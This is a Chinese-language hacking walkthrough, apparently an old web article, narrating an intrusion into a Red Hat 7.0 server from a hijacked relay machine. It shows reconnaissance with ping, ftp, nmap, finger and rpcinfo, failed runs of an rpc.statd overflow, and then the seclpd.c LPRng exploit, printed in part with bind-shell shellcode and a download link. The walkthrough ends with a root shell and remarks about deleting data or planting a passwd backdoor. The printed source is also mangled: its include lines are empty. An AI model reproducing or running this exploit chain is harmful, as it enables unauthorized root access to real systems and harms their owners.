入侵RedHat Linux系统实例

下 载：http://210.77.146.151/images/hlc/files/seclpd.c

我写此文的目的不在于教人入侵，而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白：由于你们一个小小的操作失误可能会导致整个网络全面沦陷！本文主要是围绕UNIX下面的一个小小的服务进程(LPD:网络打印服务)的攻击而进行的。

让俺慢慢道来…..
咳…咳…先给我上茶！（什么?! 没有?俺不说了!!）呵呵……开开玩笑,言归正传.首先确定目标,随便找上台湾一个搜索引擎。随便挑一个吧！假设是：www.fbi.gov.tw。^__^

先让俺看看是不是连得上：

C:\\ping www.fbi.gov.tw
Pinging www.fbi.gov.tw[202.106.184.200] with 32 bytes of data:

Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
Reply from 202.106.184.200: bytes=32 time=511ms TTL=244

Ping statistics for 202.106.184.200:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 511ms, Maximum = 651ms, Average = 580ms

嘻嘻—不但连得上，速度还不错……

先telnet看看banner：

C:\\>telnet www.fbi.gov.tw

遗失对主机的连接。

哈哈……看来把telnet服务给shut掉了！再试试ftp
C:\\>ftp www.fbi.gov.tw
Connected to www.fbi.gov.tw.
220 fbi-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.

User (www.fbi.gov.tw:(none)):

呵~~wu-2.6.1看来有点眉目了。这台机器像是大名鼎鼎的…………对!RedHat7.0！没错就是她了！首先必须确认一下，连上俺的跳板:

C:\\>telnet xxx.xxx.xxx.xxx
Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22smp on an i686
login: fetdog
Password:
bash-2.04$

呵呵~~这是我在台湾的一台跳板。RH7的哦！等下我就会告诉你们拿这些肉鸡办法……拿上nmap扫描器，看看其中的奥妙~~~

bash-2.04$nmap -sT -O www.fbi.gov.tw
Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
WARNING! The following files exist and are readable: /usr/local/sha
-services and ./nmap-services. I am choosing /usr/local/share/nmap/
s for security reasons. set NMAPDIR=. to give priority to files in
irectory
Interesting ports on (www.fbi.gov.tw):
(The 1520 ports scanned but not shown below are in state: closed)
Port State Service
25/tcp open smtp
79/tcp open finger
80/tcp open http
111/tcp open sunrpc
113/tcp open auth
443/tcp open https
513/tcp open login
514/tcp open shell
515/tcp open printer
587/tcp open submission
1024/tcp open kdm

TCP Sequence Prediction: Class=random positive increments
Difficulty=3247917 (Good luck!)
Remote operating system guess: Linux 2.1.122 – 2.2.16

Nmap run completed — 1 IP address (1 host up) scanned in 9 seconds

恰恰！！打开的端口还挺多的嘛！不错……不错……。79/tcp finger？呵呵~先看看这个，不过linux没有finger用户列表这个漏洞，不管它俺先看看有没有倒霉鬼。

bash-2.04$finger @www.fbi.gov.tw
[www.fbi.gov.tw]
No one logged on.

sh*t！怎么会没人！开门！给我开门！:(……再看看111/tcp sunrpc。嘿嘿……近来rpc漏洞风行，不知道RH7这个东东会不会有？管它呢，先看看再说！

bash-2.04$rpcinfo -p www.fbi.gov.tw
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status

看来有rpc.statd服务。等俺来看看能不能远程溢出拿个rootshell。哈哈！这个rpc.statd远程溢出是我在hack.co.za找到的。等俺先来看看帮助。嘻嘻~~

bash-2.04$./statdx -h
statdx by ron1n
Usage: stat [-t] [-p port] [-a addr] [-l len]
[-o offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
Available types:
0 Redhat 6.2 (nfs-utils-0.1.6-2)
1 Redhat 6.1 (knfsd-1.4.7-7)
2 Redhat 6.0 (knfsd-1.2.2-4)
看来并不支持RH7。怎么办？？让俺把0-2全部试试看再说！start……

bash-2.04$stat -d 0 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed – statd returned res_stat: (failure) state: 21

哈哈受到挫折，再试……

bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed – statd returned res_stat: (failure) state: 21

一样！继续……

bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed – statd returned res_stat: (failure) state: 21

我烤！！烤烤烤！rpc.statd行不通啊！让我想想看……RH7应该有个远程溢出……好像是lp服务造成的。让俺去找找看。哈哈~~找到了……“seclpd.c”应该是这个东东了。 以下程序也可以在黑盟下载。

—————以下代码仅供教学使用，决不能用来进行恶意攻击—————
/*
* Welcome to http://hlc.cnroot.com/
* Run: ./SEClpd victim brute -t type
* Try first ./SEClpd victim -t 0 then try the brute.
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define ADDRESS_BUFFER_SIZE 32 4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000

char shellcode[] =
"\\x31\\xdb\\x31\\xc9\\x31\\xc0\\xb0\\x46\\xcd\\x80"
"\\x89\\xe5\\x31\\xd2\\xb2\\x66\\x89\\xd0\\x31\\xc9\\x89\\xcb\\x43\\x89\\x5d\\xf8"
"\\x43\\x89\\x5d\\xf4\\x4b\\x89\\x4d\\xfc\\x8d\\x4d\\xf4\\xcd\\x80\\x31\\xc9\\x89"
"\\x45\\xf4\\x43\\x66\\x89\\x5d\\xec\\x66\\xc7\\x45\\xee\\x0f\\x27\\x89\\x4d\\xf0"
"\\x8d\\x45\\xec\\x89\\x45\\xf8\\xc6\\x45\\xfc\\x10\\x89\\xd0\\x8d\\x4d\\xf4\\xcd"
"\\x80\\x89\\xd0\\x43\\x43\\xcd\\x80\\x89\\xd0\\x43\\xcd\\x80\\x89\\xc3\\x31\\xc9"
"\\xb2\\x3f\\x89\\xd0\\xcd\\x80\\x89\\xd0\\x41\\xcd\\x80\\xeb\\x18\\x5e\\x89\\x75"
"\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x45\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4d\\x08"
"\\x8d\\x55\\x0c\\xcd\\x80\\xe8\\xe3\\xff\\xff\\xff/bin/sh";

哈哈~~brute暴力破解。看你出不出shell！现在要等上一会儿……去泡杯coffee慢慢来。（什么！没coffee？tea！这个也行！）…………过了大约一杯coffee的时间。也就是5-8分钟左右，就会有结果了。（什么！什么！5-8分钟你喝了5杯！我倒~~~）……出来了。哈哈~~

– [ ] shell located on www.fbi.gov.tw
– [ ] Enter Commands at will

Linux FBI.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
uid=0(root) gid=7(lp)

Well……哈哈~uid=0(root)哇哈哈哈哈…………先在你是root啦！可以为所欲为了~~把它的东西全部删了~~哈哈……太过火了~~还是在passwd中加个后门算了~~至于怎么加，这就不在本文的范围内了……^___^